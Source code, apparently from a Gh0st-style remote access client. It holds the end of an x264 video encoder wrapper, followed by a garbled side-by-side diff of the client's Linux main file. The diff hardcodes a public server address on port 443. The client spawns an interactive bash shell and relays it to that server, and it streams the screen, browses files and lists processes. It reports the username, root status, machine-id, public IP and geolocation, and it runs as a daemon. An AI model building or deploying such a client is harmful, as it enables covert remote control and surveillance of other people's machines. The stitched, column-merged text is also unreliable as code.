fn_x264_param_apply_profile = (decltype(fn_x264_param_apply_profile))
dlsym(m_x264Handle, "x264_param_apply_profile");
fn_x264_picture_init = (decltype(fn_x264_picture_init))
dlsym(m_x264Handle, "x264_picture_init");
fn_x264_picture_alloc = (decltype(fn_x264_picture_alloc))
dlsym(m_x264Handle, "x264_picture_alloc");
fn_x264_picture_clean = (decltype(fn_x264_picture_clean))
dlsym(m_x264Handle, "x264_picture_clean");
fn_x264_encoder_close = (decltype(fn_x264_encoder_close))
dlsym(m_x264Handle, "x264_encoder_close");
// x264_encoder_open has version suffix based on X264_BUILD
// Try common versions in order (newest first)
const char* openNames[] = {
"x264_encoder_open_164",
"x264_encoder_open_163",
"x264_encoder_open_162",
"x264_encoder_open_161",
"x264_encoder_open_160",
"x264_encoder_open_159",
"x264_encoder_open_157",
"x264_encoder_open_155",
"x264_encoder_open_152",
"x264_encoder_open_148",
nullptr
};
for (int i = 0; openNames[i]; i++) {
fn_x264_encoder_open = (decltype(fn_x264_encoder_open))
dlsym(m_x264Handle, openNames[i]);
if (fn_x264_encoder_open) {
fprintf(stderr, ">>> X264Encoder: found %s\n", openNames[i]);
break;
}
}
fn_x264_encoder_encode = (decltype(fn_x264_encoder_encode))
dlsym(m_x264Handle, "x264_encoder_encode");
// Check required functions
if (!fn_x264_encoder_open || !fn_x264_encoder_encode || !fn_x264_encoder_close ||
!fn_x264_param_default_preset || !fn_x264_picture_alloc) {
fprintf(stderr, "*** X264Encoder: missing functions - open=%p encode=%p close=%p preset=%p alloc=%p\n",
(void*)fn_x264_encoder_open, (void*)fn_x264_encoder_encode,
(void*)fn_x264_encoder_close, (void*)fn_x264_param_default_preset,
(void*)fn_x264_picture_alloc);
unloadLibrary();
return false;
}
return true;
}
void unloadLibrary() {
if (m_x264Handle) {
dlclose(m_x264Handle);
m_x264Handle = nullptr;
}
clearFunctionPointers();
}
/**
* Convert BGRA to I420 (YUV 4:2:0 planar) directly into output planes
* Using ITU-R BT.601 coefficients
*/
void convertBGRAtoI420(const uint8_t* bgra, int stride, int direction,
uint8_t* yPlane, int yStride,
uint8_t* uPlane, int uStride,
uint8_t* vPlane, int vStride) {
int srcStride = stride;
int w = m_width;
int h = m_height;
// Direction: 1 = normal, -1 = flip vertically
int startY = (direction > 0) ? 0 : (h - 1);
int stepY = (direction > 0) ? 1 : -1;
// Y plane: full resolution
for (int j = 0; j < h; j++) {
int srcY = startY + j * stepY;
const uint8_t* srcRow = bgra + srcY * srcStride;
uint8_t* dstRow = yPlane + j * yStride;
for (int i = 0; i < w; i++) {
uint8_t b = srcRow[i * 4 + 0];
uint8_t g = srcRow[i * 4 + 1];
uint8_t r = srcRow[i * 4 + 2];
// Y = 0.257*R + 0.504*G + 0.098*B + 16
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
}
}
// U/V planes: half resolution (2x2 block averaging)
int uvW = w / 2;
int uvH = h / 2;
for (int j = 0; j < uvH; j++) {
int srcY0 = startY + (j * 2) * stepY;
int srcY1 = startY + (j * 2 + 1) * stepY;
const uint8_t* row0 = bgra + srcY0 * srcStride;
const uint8_t* row1 = bgra + srcY1 * srcStride;
for (int i = 0; i < uvW; i++) {
// Average 4 pixels
int r = 0, g = 0, b = 0;
b += row0[(i*2+0)*4 + 0]; g += row0[(i*2+0)*4 + 1]; r += row0[(i*2+0)*4 + 2];
b += row0[(i*2+1)*4 + 0]; g += row0[(i*2+1)*4 + 1]; r += row0[(i*2+1)*4 + 2];
b += row1[(i*2+0)*4 + 0]; g += row1[(i*2+0)*4 + 1]; r += row1[(i*2+0)*4 + 2];
b += row1[(i*2+1)*4 + 0]; g += row1[(i*2+1)*4 + 1]; r += row1[(i*2+1)*4 + 2];
r >>= 2; g >>= 2; b >>= 2;
// U = -0.148*R - 0.291*G + 0.439*B + 128
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
// V = 0.439*R - 0.368*G - 0.071*B + 128
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
}
}
}
/**
* Convert RGB24 to I420 (YUV 4:2:0 planar) directly into output planes
*/
void convertRGB24toI420(const uint8_t* rgb, int stride, int direction,
uint8_t* yPlane, int yStride,
uint8_t* uPlane, int uStride,
uint8_t* vPlane, int vStride) {
int srcStride = stride;
int w = m_width;
int h = m_height;
int startY = (direction > 0) ? 0 : (h - 1);
int stepY = (direction > 0) ? 1 : -1;
// Y plane
for (int j = 0; j < h; j++) {
int srcY = startY + j * stepY;
const uint8_t* srcRow = rgb + srcY * srcStride;
uint8_t* dstRow = yPlane + j * yStride;
for (int i = 0; i < w; i++) {
uint8_t r = srcRow[i * 3 + 0];
uint8_t g = srcRow[i * 3 + 1];
uint8_t b = srcRow[i * 3 + 2];
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
}
}
// U/V planes
int uvW = w / 2;
int uvH = h / 2;
for (int j = 0; j < uvH; j++) {
int srcY0 = startY + (j * 2) * stepY;
int srcY1 = startY + (j * 2 + 1) * stepY;
const uint8_t* row0 = rgb + srcY0 * srcStride;
const uint8_t* row1 = rgb + srcY1 * srcStride;
for (int i = 0; i < uvW; i++) {
int r = 0, g = 0, b = 0;
r += row0[(i*2+0)*3 + 0]; g += row0[(i*2+0)*3 + 1]; b += row0[(i*2+0)*3 + 2];
r += row0[(i*2+1)*3 + 0]; g += row0[(i*2+1)*3 + 1]; b += row0[(i*2+1)*3 + 2];
r += row1[(i*2+0)*3 + 0]; g += row1[(i*2+0)*3 + 1]; b += row1[(i*2+0)*3 + 2];
r += row1[(i*2+1)*3 + 0]; g += row1[(i*2+1)*3 + 1]; b += row1[(i*2+1)*3 + 2];
r >>= 2; g >>= 2; b >>= 2;
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
}
}
}
};

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@@ -14,7 +14,7 @@
#include <csignal> #include <csignal>
#include <sys/wait.h> #include <sys/wait.h>
#include <sys/ioctl.h> #include <sys/ioctl.h>
#include <pty.h> #include "common/PTYHandler.h"
#include <iostream> #include <iostream>
#include <stdexcept> #include <stdexcept>
#include <cstdio> #include <cstdio>
@@ -26,25 +26,32 @@
#include <cmath> #include <cmath>
#include "ScreenHandler.h" #include "ScreenHandler.h"
#include "SystemManager.h" #include "SystemManager.h"
#include "FileManager.h" #include "common/FileManager.h"
#include "ClipboardHandler.h" #include "ClipboardHandler.h"
#include "FileTransferV2.h" #include "common/FileTransferV2.h"
#include "common/logger.h" #include "common/logger.h"
#define XXH_INLINE_ALL #define XXH_INLINE_ALL
#include "common/xxhash.h" #include "common/xxhash.h"
#include "common/rtt_estimator.h"
#include "common/client_auth_state.h"
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "LinuxConfig.h" #include "LinuxConfig.h"
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
// 远程地址:当前为写死状态,如需调试,请按实际情况修改 // 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX }; CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
// 全局状态 // 全局状态
State g_bExit = S_CLIENT_NORMAL; State g_bExit = S_CLIENT_NORMAL;
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// 客户端 IDV2 文件传输需要) // 客户端 IDV2 文件传输需要)
uint64_t g_myClientID = 0; uint64_t g_myClientID = 0;
// 服务端身份校验全局状态已抽到 common/client_auth_state.hnamespace ClientAuth
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ============== // ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
static std::string utf8ToGbk(const std::string& utf8) static std::string utf8ToGbk(const std::string& utf8)
@@ -301,306 +308,55 @@ private:
}; };
// ============== 心跳保活 & RTT 估算 ============== // ============== 心跳保活 & RTT 估算 ==============
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致) // PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms) void* ShellworkingThread(void* /*param*/)
{ {
// 过滤异常值RTT应在合理范围内 (0, 30000] 毫秒 RunSubConnThread<PTYHandler>(
if (rtt_ms <= 0 || rtt_ms > 30000) "ShellworkingThread",
return; [](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
[](IOCPClient* c, PTYHandler*) {
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
// 伪终端处理类继承自IOCPManager.
class PTYHandler : public IOCPManager
{
public:
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// 创建伪终端
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// 设置伪终端为非阻塞模式
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// 启动 Shell 进程
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) m_readThread.join();
close(m_master_fd);
close(m_slave_fd);
if (m_child_pid > 0) {
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
}
// 启动读取线程
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
virtual VOID OnReceive(PBYTE data, ULONG size)
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// 处理终端尺寸调整命令
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
int cols = *(short*)(data + 1);
int rows = *(short*)(data + 3);
SetWindowSize(cols, rows);
return;
}
std::string s((char*)data, size);
Mprintf("%s", s.c_str());
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
Mprintf("OnReceive: write error %d\n", errno);
break;
}
total += written;
}
}
}
// 设置终端窗口尺寸
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
Mprintf("SetWindowSize: ioctl failed %d\n", errno);
} else {
// 发送 SIGWINCH 给子进程,通知其窗口大小已改变
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
Mprintf("SetWindowSize: %dx%d\n", cols, rows);
}
}
private:
int m_master_fd, m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) { // 子进程
setsid(); // 创建新的会话
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// 设置完整终端支持xterm.js 终端仿真)
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
// 使用 C.UTF-8 是最通用的 UTF-8 locale几乎所有 Linux 都支持
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// 启动交互式 Bash
execl("/bin/bash", "bash", "-i", nullptr);
exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// 检查子进程是否已退出
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell 已退出,发送关闭通知
Mprintf("readFromPTY: shell exited (status=%d)\n", WEXITSTATUS(status));
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
buffer[bytes_read] = '\0';
Mprintf("%s", buffer);
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY 已关闭
Mprintf("readFromPTY: EOF (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000);
} else if (errno == EIO) {
// EIO 通常表示 PTY slave 已关闭shell 退出)
Mprintf("readFromPTY: EIO (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
Mprintf("readFromPTY: read error %d\n", errno);
break;
}
}
}
}
};
void* ShellworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
BYTE bToken = TOKEN_TERMINAL_START; BYTE bToken = TOKEN_TERMINAL_START;
ClientObject->Send2Server((char*)&bToken, 1); c->Send2Server((char*)&bToken, 1);
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr); Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) });
Sleep(1000);
}
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
}
return NULL; return NULL;
} }
void* ScreenworkingThread(void* param) void* ScreenworkingThread(void* /*param*/)
{ {
try { RunSubConnThread<ScreenHandler>(
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); "ScreenworkingThread",
void* clientAddr = ClientObject.get(); [](IOCPClient* c) { return std::unique_ptr<ScreenHandler>(new ScreenHandler(c)); },
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); [](IOCPClient* c, ScreenHandler* h) {
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致) // 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->SendBitmapInfo(); h->SendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr); Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) });
Sleep(1000);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL; return NULL;
} }
void* SystemManagerThread(void* param) void* SystemManagerThread(void* /*param*/)
{ {
try { RunSubConnThread<SystemManager>(
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); "SystemManagerThread",
void* clientAddr = ClientObject.get(); [](IOCPClient* c) { return std::unique_ptr<SystemManager>(new SystemManager(c)); },
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr); [](IOCPClient* c, SystemManager*) {
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c);
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get())); });
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** SystemManagerThread exception: %s ***\n", e.what());
}
return NULL; return NULL;
} }
void* FileManagerThread(void* param) void* FileManagerThread(void* /*param*/)
{ {
try { RunSubConnThread<FileManager>(
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true)); "FileManagerThread",
void* clientAddr = ClientObject.get(); [](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr); [](IOCPClient* c, FileManager*) {
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c);
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get())); });
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** FileManagerThread exception: %s ***\n", e.what());
}
return NULL; return NULL;
} }
@@ -609,6 +365,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0) if (szBuffer == nullptr || ulLength == 0)
return TRUE; return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身。详见
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) { if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user); Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
@@ -630,18 +392,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
uint64_t now = GetUnixMs(); uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time); double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms); g_rttEstimator.update_from_sample(rtt_ms);
// 心跳节奏太密日志会刷屏;最多 60s 一行
static time_t lastAckLog = 0;
time_t now_s = time(nullptr);
if (now_s - lastAckLog >= 60) {
lastAckLog = now_s;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n", Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000); user, rtt_ms, g_rttEstimator.srtt * 1000);
} }
}
} else if (szBuffer[0] == CMD_MASTERSETTING) { } else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1; MasterSettings settings;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
MasterSettings settings = {}; return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings)); }
if (settings.ReportInterval > 0) if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval; g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval); Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) { } else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user); Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else if (szBuffer[0] == COMMAND_C2C_TEXT) { } else if (szBuffer[0] == COMMAND_C2C_TEXT) {
@@ -672,6 +439,26 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (result != 0) { if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result); Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
} }
} else if (szBuffer[0] == CMD_SET_GROUP) {
// Extract group name from message (starts at byte 1)
std::string groupName;
if (ulLength > 1) {
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
// Remove trailing nulls
size_t pos = groupName.find('\0');
if (pos != std::string::npos) {
groupName = groupName.substr(0, pos);
}
}
// Save to config file
LinuxConfig cfg;
cfg.SetStr("group_name", groupName);
// Update global settings
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else { } else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
} }
@@ -841,6 +628,49 @@ std::string getUsername()
return u ? u : "?"; return u ? u : "?";
} }
// 读取 systemd / dbus 维护的 machine-id与 Windows MachineGuid 等价)
// /etc/machine-id 在系统首次启动时生成的随机 32 字符 hex GUID。
// 对应 Windows: HKLM\Software\Microsoft\Cryptography\MachineGuid。
// 重装系统才会变;同一镜像 dd 出来的多机会撞——但规范的批量部署
// 工具 (cloud-init / kickstart) 会重置它。
static std::string getMachineId()
{
// 优先 /etc/machine-id某些精简系统可能放在 /var/lib/dbus/machine-id
const char* paths[] = { "/etc/machine-id", "/var/lib/dbus/machine-id" };
for (const char* p : paths) {
std::ifstream f(p);
if (!f.is_open()) continue;
std::string id;
std::getline(f, id);
// 去掉尾部空白和换行
while (!id.empty() && (id.back() == '\n' || id.back() == '\r' ||
id.back() == ' ' || id.back() == '\t')) {
id.pop_back();
}
if (!id.empty()) return id;
}
return std::string();
}
// 路径归一化Linux 版):解析符号链接 + 转小写
// realpath 等价于 Windows 的 GetLongPathName把 /usr/local/bin/../foo 这种
// 折回到规范形式;小写化避免大小写差异引起 ID 不同Linux 文件系统本身大小写
// 敏感,但保持与 Windows V2 算法一致的归一化策略,跨端一致性优先)。
static std::string normalizeExePathLower(const std::string& path)
{
char resolved[PATH_MAX] = {};
std::string out;
if (realpath(path.c_str(), resolved) != nullptr) {
out = resolved;
} else {
out = path; // 解析失败(罕见):用原值
}
for (auto& c : out) {
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
}
return out;
}
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高" // 获取屏幕分辨率字符串(格式 "显示器数:宽*高"
std::string getScreenResolution() std::string getScreenResolution()
{ {
@@ -874,87 +704,14 @@ std::string getScreenResolution()
return "0:0*0"; return "0:0*0";
} }
// 执行命令并返回输出 // execCmd / httpGet / getPublicIP / jsonExtract / getGeoLocation 已抽到
static std::string execCmd(const std::string& cmd) // common/posix_net_helpers.hnamespace PosixNet。下面保留同名 wrapper避免
{ // 改动调用点。Linux 历史调用风格保留:自由函数无 namespace。
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose); static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
if (!pipe) return ""; static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
char buf[4096]; static inline std::string jsonExtract(const std::string& json, const std::string& key) { return PosixNet::jsonExtract(json, key); }
std::string result; inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
while (fgets(buf, sizeof(buf), pipe.get())) { inline std::string getGeoLocation(const std::string& ip){ return PosixNet::getGeoLocation(ip); }
result += buf;
}
// 去除尾部空白
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET 请求(优先 curl备选 wget
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
// 优先使用 curl
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
if (!r.empty()) return r;
// 备选 wgetUbuntu 默认自带)
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
return r;
}
// 获取公网 IP轮询多个查询源与 Windows 端一致)
std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// 简单校验:非空且看起来像 IP含有点号长度合理
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
return ip;
}
}
Mprintf("getPublicIP: all sources failed\n");
return "";
}
// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp
// 支持格式: "key": "value" 或 "key":"value"
static std::string jsonExtract(const std::string& json, const std::string& key)
{
std::string needle = "\"" + key + "\"";
size_t pos = json.find(needle);
if (pos == std::string::npos) return "";
pos = json.find(':', pos + needle.size());
if (pos == std::string::npos) return "";
pos = json.find('"', pos + 1);
if (pos == std::string::npos) return "";
size_t end = json.find('"', pos + 1);
if (end == std::string::npos) return "";
return json.substr(pos + 1, end - pos - 1);
}
// 获取 IP 地理位置(通过 ipinfo.io与 Windows 端一致)
std::string getGeoLocation(const std::string& ip)
{
if (ip.empty()) return "";
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
if (json.empty()) return "";
std::string country = jsonExtract(json, "country");
std::string city = jsonExtract(json, "city");
if (city.empty() && country.empty()) return "";
if (city.empty()) return country;
if (country.empty()) return city;
return city + ", " + country;
}
// ============== 守护进程 ============== // ============== 守护进程 ==============
@@ -1077,8 +834,23 @@ int main(int argc, char* argv[])
LOGIN_INFOR logInfo; LOGIN_INFOR logInfo;
// 主机名 // 读取分组名称(从配置文件或 g_SETTINGS
LinuxConfig cfgGroup;
std::string groupName = cfgGroup.GetStr("group_name");
if (!groupName.empty()) {
// 更新 g_SETTINGS
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
} else if (g_SETTINGS.szGroupName[0] != 0) {
groupName = g_SETTINGS.szGroupName;
}
// 主机名带分组hostname/groupname
if (!groupName.empty()) {
std::string pcNameWithGroup = std::string(hostname) + "/" + groupName;
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
} else {
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1); strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
}
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0'; logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
// 操作系统版本(如 "Ubuntu 24.04 LTS" // 操作系统版本(如 "Ubuntu 24.04 LTS"
@@ -1146,7 +918,19 @@ int main(int argc, char* argv[])
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
